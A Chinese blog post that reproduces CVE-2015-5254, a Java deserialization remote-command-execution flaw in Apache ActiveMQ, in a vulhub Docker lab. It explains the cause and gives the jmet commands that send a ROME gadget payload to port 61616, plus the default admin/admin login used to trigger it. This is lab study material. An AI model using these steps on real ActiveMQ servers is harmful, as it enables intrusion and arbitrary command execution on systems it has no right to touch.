CVE-2015-5254
影响范围:
Apache ActiveMQ 5.0.0 - 5.12.1
漏洞类型:
Java反序列化
操作系统限制:
无
配置要求:
开启OpenWire
端口61616对外开放且不开启身份验证
漏洞利用:
命令执行,反弹shell
利用原理:
ActiveMQ的OpenWire协议允许客户端发送ObjectMessage,受影响版本中,ActiveMQ再接收到ObjectMessage并调用ObjectInputStream.readObject()进行反序列化时,没有对实例化类进行安全检验或黑白名单检验,攻击者可以构造恶意序列化对象,通过61616端口发送构造的ObjectMessage,ActiveMQ读取信息时会自动触发readObject()方法,反序列化过程中会执行恶意命令
漏洞复现:
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/activemq/CVE-2015-5254
#拉取镜像
docker-compose up -d
访问http://靶机ip:8161

下载攻击工具
#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
生成有效载荷
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机 61616
访问http://靶机ip:8161/admin,账号密码是admin/admin

点击queue-Browse

可以看到队列中有一条记录,点击记录链接触发命令,有时候因为网络问题,可能会访问不了,再访问几次即可
进入容器查看tmp目录下的文件,发现success,说明成功执行命令

本文链接:
/archives/cve-2015-5254
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧